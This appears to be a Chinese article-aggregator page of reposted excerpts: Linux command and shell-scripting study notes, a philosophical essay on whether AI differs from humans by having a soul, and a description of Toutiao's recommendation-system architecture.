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...写 grep 默认是匹配字符, -w 选项默认匹配一个单词 例如我想匹配 “like”, 不加 -w 就会匹配到 “liker”, 加 -w 就不会匹配到 du 目录/文件 -sh : 查看某一文件/目录的大小,也可以到一个目录下du -sh,查看这个目录的大小 目录下使用du -sh 查看目录总的大小 du 文件名 -sh 查看指定文件的大小 df:检查linux服务器的文件系统磁盘空间占用情况,默认以kb为单位 gedit 文件:使用gedit软件打开一个文件(类似于windows下面的记事本) ps:查看您当前系统有哪些进程,ubuntu(多用户)下是ps -aux,嵌入式linux(单用户)下面是ps top:进程实时运行状态查询 file 文件名:查看文件类型 ubuntu的fs cd / :根目录,一切都是从根目录发散开来的 /bin:存放二进制可执行文件,比如一些命令 /boot:ubuntu的内核与启动文件 /cdrom:有光盘是存放光盘文件 /dev:存放设备驱动文件 /etc:存放配置文件,如账号和密码文件(加密后的) /home:系统默认的用户主文件夹 /lib:存放库文件 /lib64:存放库文件,. so时linux下面的动态库文件 /media:存放可插拔设备,如sd,u盘就是挂载到这个文件下面 /mnt:用户可使用的挂载点,和media类似,可以手动让可插拔设备挂载到/mnt /opt:可选的文件和程序存放目录,给第三方软件放置的目录 /proc:存放系统的运行信息,实在内存上的不是在flash上,如cat /proc/cpuinfo /root:系统管理员目录,root用户才能访问的文件 /sbin:和bin类似,存放一些二进制可执行文件,sbin下面一般是系统开机过程中所需要的命令 /srv:服务相关的目录,如网络服务 /sys:记录内核信息,是虚拟文件系统 /tmp:临时目录 /usr:不是user的缩写,而是UNIX Software Resource的缩写,存放系统用户有关的文件,占很大空间 /var:存放变化的文件,如日志文件 – 移植就是移植上面这些文件 磁盘管理 linux开发一定要选用FAT32格式的U盘或者SD卡 u盘在/dev中的名字是sd,要确定是哪个,拔了看少了哪个。就是哪个 /dev/sdb表示U盘,/dev/sdb1表示U盘的第一个分区,一般U盘 sd卡只有一个分区 df:显示linux系统的磁盘占用情况 在一个目录里使用du -sh:查看这个目录里面所有内容所占用的资源 du 文件名 -sh:一般用来看单个文件/目录的大小 du -h --max-depth=n:显示n级目录的大小 – 磁盘的挂载与取消挂载: mount 和 umount sudo mount /dev/sdb1 /media/jl/udisk sudo umount /media/jl/u盘名 (-f 强制取消挂载),如果u盘正在使用,如被另一个终端打开,那么该指令无效 mount挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息(–help查看别的用法) sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1,2,3分别格式化,完成后能在图形界面看见三个u盘图标 格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名: .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件 右键选中文件,选择7zip,添加到压缩包,压缩格式选择tar,仅存储 生成tar文件,这里只是打包,没有压缩 右键上面的tar文件,选择7zip,添加到压缩包,压缩格式选择bzip2,确定 生成.tar.bz2文件,把它放到ubuntu解压 ubuntu也支持解压.tar和.zip,但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名:压缩文件,变成 原文件名.gz,原来的文件就不见了 解压缩文件 gzip -d .gz:还原 文件 gzip -r 目录:递归,将该目录里的各个文件压缩,不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名,压缩成 文件名.bz2 bzip2 -d 文件名.bz2,解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f:使用归档文件(必须要在所有选项后面) -c:创建一个新归档 -x:从归档中解出文件 -j:使用bzip2压缩格式 -z:使用gzip压缩格式 -v:打印出命令执行过程 如以bzip2格式压缩,打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar(用dhcp连不上阿里云的镜像) rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os,不同的用户有不同的权限,可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内,不是以明文记录的 每个用户都有一个id,叫做UID – linux用户组 为了方便管理,将用户进行分组,每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID,叫做GID 用户组信息存储在/etc/group中 passwd 用户名:修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头: -brwx - rwx - rwx -:b表示 块文件,设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -:用户权限,用户组内其他成员,其它组用户 数字 1 表示链接数,包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小,单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录( root.root ) – linux连接文件 1、硬连接 2、符号连接(软连接) linux有两种连接文件,软连接/符号连接,硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名,而不是产生新文件 inode:记录文件属性,一个文件对应一个inode, inode相当于文件ID 查找文件要先找到inode,然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件,如果目标存在,就先删掉目标文件,再创建连接文件 – 硬连接:多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件,创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件,晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件,另一个文件的数据都会被改变 硬连接不能跨文件系统(另一个格式的u盘中的文件) 硬连接不能连接到目录 出于以上原因,硬连接不常用 ls -li:此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件,该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点: 可以连接到目录 可以跨文件系统 删除源文件,软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件(ls -l) 创建软连接的时候,源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
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...在接收到新订单时迅速匹配最优配送方案,自动将订单分配给合适的骑手,并重新规划最短配送路径,以达到提升配送速度、降低延迟率、提高整体运营效率的目标。
2023-01-31 14:48:26
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2023-11-13 23:43:59
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...小号1。她说,玩小号匹配出来的对手都特别垃圾,玩起来就像切萝卜一样爽。当时我的感觉是玩小号匹配出来的都是新手,技术不高也不足为奇,然而在接下来的事情当中,我发现事情并没有这么简单。首先有网友反映在匹配时遇到了自己多年不用的小号2,也有网友反映,在连输很多局之后,会有一局赢得异常简单,就好像对手都是机器人一样3。 网友称这一类玩家为“ 电脑人”,还总结出了“ 电脑人”的若干特征: 4 1.加载速度非常快 2.进入游戏后在泉水的行为,走路姿势差不多,行动路线也差不多 3.查不到战绩 4.无法沟通 5.很怪异或者说无法解释的名字 但是,真正的玩家和所谓的“电脑人”仅靠这些特征真的可以完全的分辨开吗?这些“电脑人”,究竟是一些行为怪异的玩家,还是天美给玩家的一个惊喜,这并不是我这篇文章所想要讲述的重点。我想说的是,在人类日复一日研究人工智能,希望其更接近人类的同时,已经开始出现了人类与人工智能分不清的现象。更严重的情况是,已经开始了怀疑人类为人工智能的现象。 不难想象,在科技足够发达的未来,这一现象会愈加严重,人类究竟与人工智能有什么本质上的区别,在以下的内容中我将给出解释。 灵魂的存在 自古以来就有一个强大的神话:人类拥有永恒的灵魂。虽然肉体会消失,但是灵魂是永存的。尽管这一神话有人相信,有人不信,但是它确确实实的影响着我们的现实生活,是我们现有的法律,政治的经济制度的重要支柱。 如果灵魂确实存在的话,那么它作为区别人与人工智能的本质区别再合适不过了。但是,灵魂究竟是什么东西,或者说,它究竟存在与哪里。至今为止,科学家研究了动植物和人类的各个角落,也没有发现类似“灵魂”的东西。 又或许说,灵魂根本就是看不见,摸不着的。那灵魂又是如何产生的呢?从最开始的宇宙开始形成,灵魂显然是不存在的。而灵魂又是不可分割的,永恒不变的,那么在生物一步步进化的过程中,究竟是在那一刻,灵魂突然出现。由达尔文的《进化论》,由最初的单细胞生物到最后的人,都可以用基因突变来解释,但是究竟在那一代,突变产生了第一个具有灵魂的生物?人们不得而知。当然也有可能,灵魂是在某个时刻,由“上帝”加入到这个世界的。 本篇文章中,“灵魂”作为我们的唯一存在来描述,下文我会具体的解释。 心流的存在 与灵魂的存在相反,心灵的存在,是一个不争的事实,是一个我们每时每刻都在接受的明确的现实。心流包含两方面:感觉和欲望。 我们可以非常明确的知道,我们自身,是有感觉和欲望的,以及,人工智能,是不具备感觉和欲望。在这里,我想我需要简述一下笛卡尔的心灵哲学5,笛卡尔认为,人不是机器,但是动物是机器,只有人类才拥有感觉和欲望,其他动物都是没有心灵的自动物。所以当有人踢狗的时候,狗会自动的退缩,躲避,并开始狂吠,但是没有任何的感觉和欲望,就像自动贩卖机一样,按下开关,出来商品。所以人类对待动物,也很少有怜悯。早期17世纪的医生和学者对活狗进行解剖,观察其内脏器官如何运作,但完全不用麻醉,他们也不会感到不安。因为在他们眼中这没有什么不对,就像现在人们把机器拆开看看内部的电路是如何工作一样6。 当然,现在有了很多的动物保护者,他们认为动物和人类是平等的,也有自己的意识,也有喜怒哀乐。在《剑桥意识宣言》中提到:“各种证据均指出,非人类动物拥有构成意识所需的神经结构,神经化学及神经生理基础物质,并且能展现出有意图的行为。因此,证据已充分显示,负责产生意识的神经基础物质并非人类所独有。非人类动物,包括所有哺乳动物,鸟类,以及章鱼等其他生物,均拥有这些神经基础物质。” 确实,我承认心流并不只存在与人类,而是存在与所有生物之中。但是笛卡尔的理念也并不是完全错误的,因为心流虽然是生命的特质,但不是人类的特质,我想笛卡尔的理论中把心灵换做灵魂可能会更妥当一些,尽管灵魂的存在目前还是个未知数。或许我说完接下来的例子,会解释的更充分些。 对于心流的存在,生物学家给出了一个简单的不能再简单的解释,那就是,如果没有感觉和欲望,那么就无法解释生物的各种行为。拿人来做例子或许会比较难以理解,但是拿动物做例子却简单的过分,那就是:当人去踢狗的时候,如果狗没有感到疼痛,愤怒,产生躲避的欲望,那么它就会因此而受到伤害。也就是说,这些种种的感觉与欲望,是那些最原始的东西,即进化论为了使生命更好的活着而产生的,只因人类把自己放在比动物高很多个层次的阶级上,而忽略了这个很简单的问题。 心流的产生 问题的关键,在于心流的产生。这样稍微改动下,上文所提到的笛卡尔的理论或许会更合理些:人与动物都存在感觉与欲望,但是动物的感觉与欲望是依靠自身结构在外界的输入下产生的一种内部输出,而人类的感觉和欲望则是一种可以被称作“灵魂”的东西控制下产生的。从而确立了人类高于动物的地位。 前者很容易理解,现在的科学研究也已经很透彻了。例如兔子见到狮子,电信号便从眼睛传到大脑,刺激某些神经元,又结合之前的记忆神经元,放出更多的信号,整条线路的神经元一一受到刺激,最后指令传到肾上腺,让肾上腺素传遍全身,心脏的跳动也随之加快,肾上腺素也使信号的传递速度更快了些,同时在运动中枢的神经元也向腿部肌肉发出信号,让肌肉随着信号有序的完成伸展和收缩。外在的表现就是兔子从狮子旁边逃之夭夭。至于其中的恐惧的感觉和想要逃跑的欲望,都只不过是内部神经元信号的一种状态。 而对于后者,则难以解释。正因为对前者的理解透彻,对后者的解释才显得很难说通。两个过程本来是相同的过程,只是后者多了对于每个人有且唯一的“灵魂”的存在的介入,但是,它究竟何时介入,如何介入,正如前者所描述的,在这样一个信号的传递网络里,究竟有哪一步,是需要“灵魂”来控制的。思前想后,好像并没有必须存在的那么一个步骤。也就是可能,前者所描述的那个信号传递步骤,适用于所有生物,当然也包括人类。 简单的总结 简单的总结一下,关于确定存在的心流和不确定存在的灵魂。 首先,心流是确定存在,并且存在与所有生物当中,是生物进化产生的,为了更好的活着。其中,记忆储存的是之前的心流状态,当然不是全部的心流状态;感觉是当时的生物内部信号的一种状态,成为现态;欲望是一种内部输出,欲望,感觉和记忆相结合再结合会产生对外部的输出。 其次,“灵魂”在这里表示为一个个体的有且唯一的存在。它不参与生物的任何过程,但是却有选择的监视生物的心流。也可以这样说,生物体本身有选择的展示一部分心流以供灵魂检阅,灵魂也是从生物所展示的心流中有选择的检阅。这才是人类的特质。我们真正的自我,就是这样一个有且唯一的灵魂,它无法介入它所在的生物体的任何事情,但是可以在一定程度上知道它所在的生物体的状态。 也可以这样理解,生物体本身是一个封装的很好的复杂程序,心流则是程序的内部变量,程序不断的接收外部输入并向外部输出,我们本身的灵魂所在则置身于程序之外,就像我们坐在电脑前,无法知道这个复杂程序究竟是如何运行的,但是通过它输出在显示屏中的一些内部变量,即心流的一些数据,我们可以大致的判断出,程序在干些什么。对于这样的解释你可能难以接受,接下来的两个例子或许会让你接受这一事实。 现在科学家只要扫描人脑,就能在测试者自己有所感知之前,预测他们会有什么欲望,会做出怎样的决定。例如,在一次实验中,受试者躺在一台巨大的脑部设备里,两手各自拿着一个开关,受试者可以随机的选择在何时按下那个开关。而科学家通过观察受试者的大脑神经活动,就能在受试者做决定之前知道受试者做了怎样的决定。也就是说,当这些内部输出被外部观测者“灵魂”所察觉的时候,心流自身已经做出了决定。7 或许你没有亲自做过这个实验,并不相信实验的结论,但是还有一个实验,你现在就可以给自己做一个测试。相信对于大家心算100以内的乘法没有什么问题,那么请各位充分运用自己的自由意志,即本文中的“灵魂”去控制你的大脑心算5672,注意在计算的过程中不要让自己的大脑去思考其他的任何事情,用尽快的速度计算出结果。当然,你会发现你根本做不到,无论如何你都无法控制那先奇奇怪怪的想法出现在你的大脑里,至于大脑为什么会像你控制的那样去计算5672,接下来我会给出人类的大脑思维模型。 生物的模型 生物的模型分为两部分,一部分我称为确定机,一部分我称为概率机。 确定机 确定机是指只要输入确定,那么就会产生确定输出的部分,而对于输入的概率性则不予考虑。例如,当生物多次看到同一个画面的时候会在大脑里形成同样的图像,因为每次输入的光信号都是一样的,在生物内部进行的信号传递过程也是一样的,所以在大脑里形成的图像输出也是一样的。现在人类所生产的绝大多数工具就是一个确定机的模型,如果相同的输入,不管输入多少次都会得到相同的输出。确定机也是生物模型的基础部分,构成生物的绝大部分,实际上,除了大脑,生物的任何部分都是一个确定机的模型,而大脑也有一部分的确定机模型。对于确定机,所有的内部过程和输出都不会被“灵魂”检阅,当然生物上可以通过解剖或其他更先进的方式去检查生物内部确定机的工作状态。 概率机 概率机是指即使输入确定,输出的确定性也指限制在一定的概率范围之内,会以不同但是给定的概率输出多个输出。当然给定的概率可以是确定机给出的确定概率(只在输入确定的情况下才确定),也可以是概率机给出的概率概率。概率机构成生物的大脑部分,当然一部分低等生物只由确定机构成。对于概率机,有一部分输出会被“灵魂”检阅,而“灵魂”是否检阅取决于“灵魂”本身,当然,对于概率机的工作状态,也可以通过解剖或其他更先进的方式去检查。 生物思考的过程 对于不同的生物,大脑可以同时进行的事情是有限的。就像现在的电脑手机一样,有严格的内存限制,对于大脑来说,同时启用着多个线程,每个线程所占用的内存不同,但是所有线程所占用的内存总和不得超限。对于每个线程,会随机的考虑一些事件,这些事件包括记忆中的事件,和当时正在发生的事件,对于每个事件出现在线程中的概率不同。 不同事件的概率遵循的规律大致有以下几条: 1.对记忆中的事件,事件越久远概率越低。 2.对当时正在发生的事件,概率大致相同。 3.与当时线程中事件有关的事件概率高,无关的概率低。 4.与线程中的事件相关的个数越多,概率越高 5.对不同的心流状态,概率分配有所不同。 6.每个个体对不同的事件有不同的概率分配方案。 7.待补充。 可以说,大脑中的一切过程都是随机的。那这样的话,生物的思考过程究竟如何进行呢?其实很简单,单个概率可能代表随机,但是多个概率就有可能表示必然。我还是举那个5672的例子,为什么你会真的去心算这个结果,大致的过程是这样的,如果大脑的思考频率以毫秒计的话,假设看5672用了200毫秒,其中每毫秒除了这一事件,还有其他的99个事件,那么刚看完就开始计算的概率为1-0.99200=0.8660203251,看完后1秒之内还没有开始计算的概率为0.991000= 4.31712474107 e-5,可以说即使大脑中随机的杂念再多,思考的过程也会如约开始。假设线程中与事件相关的事件出现的概率为0.3,同理,在开始计算后1秒内大部分时间都在思考与计算有关的内容,当然也有可能会走神,即出现大范围的无关事件,但是这只会影响最后计算出结果的时间先后,并不会影响整个过程的进行。这也就是说,大脑的思考过程,其实就是由多个概率所确定的必然事件。 灵魂的旁观者 综上所述,作为个体唯一存在的“灵魂”处在一个旁观者的位置,而所谓的自由意识,主观意识不过是概率机的产物。那么这样就产生了两个问题。 第一个问题,你不觉得“灵魂”所在的肉体更像是一个囚笼吗?“灵魂”可以偶尔窥探外界,但无法做任何事情,只能默默得看着一切发生。尴尬的以为是自己做的,实际上就像看电影,每次看电影的时候,我都会以为我处在电影里面的世界。而现实就是,因为“灵魂”只能看肉体主演的这部“电影”,所以看的入迷了。其实,人类从解放双手,开发智力,使用工具,到探索宇宙,最大的进步莫过于发现自己其实仍处于囚笼之中。要怪就怪这囚笼建造地太过美好。而创建这一囚笼的“上帝”,把我们关在肉体这个囚笼里面,并且把我们的感知限制在有限的范围内,有限的嗅觉,16至20000赫兹的听觉,400纳米到700纳米的视觉,在感知中隔绝了我们对我们的唯一存在——“灵魂”的感知。 第二个问题,对于自己本身来说,表征自己存在的“灵魂”自己是可以确定的,而对于其他人,因为限制了对“灵魂”的感知,所以无法确认别人,别的生物体内这一旁观者的存在。也可以这么理解,你知道自己被关在一间囚笼里面,而不知道隔壁囚笼是否也关了一个存在。那么世界这个大监狱里面,可能只有一小部分,甚至只有你一个孤独的存在。而究竟为何我们或我被困于此,我不得而知,可能就像我们做研究的时候的小白鼠一样,“上帝”也在观察着我们或我的一举一动,这也是我这篇文章取这个题目的原因。小白鼠的逆袭,一开始我只是平凡的活着,说实在的其实做一个平凡人安安稳稳的一生还是很不错的,但是知道了这个囚笼的存在,就总想着打破它,因为在想到可能只有自己一个存在的时候,会是多么的孤独。就像一个人去看电影,哪怕电影的内容再精彩,再引人入胜,但当电影结束的时候,你才发现,原来我是一个人来的呀。 联系作者 有志向联系读者的:1612860@mail.nankai.edu.cn 未完待续。。。 本篇文章相当于《小白鼠的逆袭》的导读,下一篇我会出逆袭第一步:《思考的最简单模型及其编程实现》,可能用C++,也可能用Java,Python,看作者的心情吧。预计近几个月出吧,快则个把月,多则不知道了,毕竟作者本身还是比较忙的,忙七忙八也不知道在忙什么,嗯,就这样。 小号:在有多个游戏账号的前提下,等级高的号叫作大号,等级较低或者新创建的号叫作小号。 ↩︎ https://baijiahao.baidu.com/s?id=1586028525096880374&wfr=spider&for=pc. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://www.lwlm.com/sixiangzhexue/201704/840820.htm. ↩︎ 详细讨论请参见:《未来简史:从智人到智神》第三章:人类的特质。 ↩︎ “Unconscious determinants of free decisions in the human brain” in nature neuroscience, http://www.rifters.com/real/articles/NatureNeuroScience_Soon_et_al.pdf. ↩︎ 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_39384184/article/details/79288150。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 11:30:59
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...容的属性和与用户是否匹配。显性的匹配包括关键词匹配、分类匹配、来源匹配、主题匹配等。像FM模型中也有一些隐性匹配,从用户向量与内容向量的距离可以得出。 第二类是环境特征,包括地理位置、时间。这些既是bias特征,也能以此构建一些匹配特征。 第三类是热度特征。包括全局热度、分类热度,主题热度,以及关键词热度等。内容热度信息在大的推荐系统特别在用户冷启动的时候非常有效。 第四类是协同特征,它可以在部分程度上帮助解决所谓算法越推越窄的问题。 协同特征并非考虑用户已有历史。而是通过用户行为分析不同用户间相似性,比如点击相似、兴趣分类相似、主题相似、兴趣词相似,甚至向量相似,从而扩展模型的探索能力。 模型的训练上,头条系大部分推荐产品采用实时训练。实时训练省资源并且反馈快,这对信息流产品非常重要。用户需要行为信息可以被模型快速捕捉并反馈至下一刷的推荐效果。 我们线上目前基于storm集群实时处理样本数据,包括点击、展现、收藏、分享等动作类型。 模型参数服务器是内部开发的一套高性能的系统,因为头条数据规模增长太快,类似的开源系统稳定性和性能无法满足,而我们自研的系统底层做了很多针对性的优化,提供了完善运维工具,更适配现有的业务场景。 目前,头条的推荐算法模型在世界范围内也是比较大的,包含几百亿原始特征和数十亿向量特征。 整体的训练过程是线上服务器记录实时特征,导入到Kafka文件队列中,然后进一步导入Storm集群消费Kafka数据,客户端回传推荐的label构造训练样本,随后根据最新样本进行在线训练更新模型参数,最终线上模型得到更新。 这个过程中主要的延迟在用户的动作反馈延时,因为文章推荐后用户不一定马上看,不考虑这部分时间,整个系统是几乎实时的。 但因为头条目前的内容量非常大,加上小视频内容有千万级别,推荐系统不可能所有内容全部由模型预估。 所以需要设计一些召回策略,每次推荐时从海量内容中筛选出千级别的内容库。召回策略最重要的要求是性能要极致,一般超时不能超过50毫秒。 召回策略种类有很多,我们主要用的是倒排的思路。离线维护一个倒排,这个倒排的key可以是分类,topic,实体,来源等。 排序考虑热度、新鲜度、动作等。线上召回可以迅速从倒排中根据用户兴趣标签对内容做截断,高效的从很大的内容库中筛选比较靠谱的一小部分内容。 二、内容分析 内容分析包括文本分析,图片分析和视频分析。头条一开始主要做资讯,今天我们主要讲一下文本分析。文本分析在推荐系统中一个很重要的作用是用户兴趣建模。 没有内容及文本标签,无法得到用户兴趣标签。举个例子,只有知道文章标签是互联网,用户看了互联网标签的文章,才能知道用户有互联网标签,其他关键词也一样。 另一方面,文本内容的标签可以直接帮助推荐特征,比如魅族的内容可以推荐给关注魅族的用户,这是用户标签的匹配。 如果某段时间推荐主频道效果不理想,出现推荐窄化,用户会发现到具体的频道推荐(如科技、体育、娱乐、军事等)中阅读后,再回主feed,推荐效果会更好。 因为整个模型是打通的,子频道探索空间较小,更容易满足用户需求。只通过单一信道反馈提高推荐准确率难度会比较大,子频道做的好很重要。而这也需要好的内容分析。 上图是今日头条的一个实际文本case。可以看到,这篇文章有分类、关键词、topic、实体词等文本特征。 当然不是没有文本特征,推荐系统就不能工作,推荐系统最早期应用在Amazon,甚至沃尔玛时代就有,包括Netfilx做视频推荐也没有文本特征直接协同过滤推荐。 但对资讯类产品而言,大部分是消费当天内容,没有文本特征新内容冷启动非常困难,协同类特征无法解决文章冷启动问题。 今日头条推荐系统主要抽取的文本特征包括以下几类。首先是语义标签类特征,显式为文章打上语义标签。 这部分标签是由人定义的特征,每个标签有明确的意义,标签体系是预定义的。 此外还有隐式语义特征,主要是topic特征和关键词特征,其中topic特征是对于词概率分布的描述,无明确意义;而关键词特征会基于一些统一特征描述,无明确集合。 另外文本相似度特征也非常重要。在头条,曾经用户反馈最大的问题之一就是为什么总推荐重复的内容。这个问题的难点在于,每个人对重复的定义不一样。 举个例子,有人觉得这篇讲皇马和巴萨的文章,昨天已经看过类似内容,今天还说这两个队那就是重复。 但对于一个重度球迷而言,尤其是巴萨的球迷,恨不得所有报道都看一遍。解决这一问题需要根据判断相似文章的主题、行文、主体等内容,根据这些特征做线上策略。 同样,还有时空特征,分析内容的发生地点以及时效性。比如武汉限行的事情推给北京用户可能就没有意义。 最后还要考虑质量相关特征,判断内容是否低俗,色情,是否是软文,鸡汤? 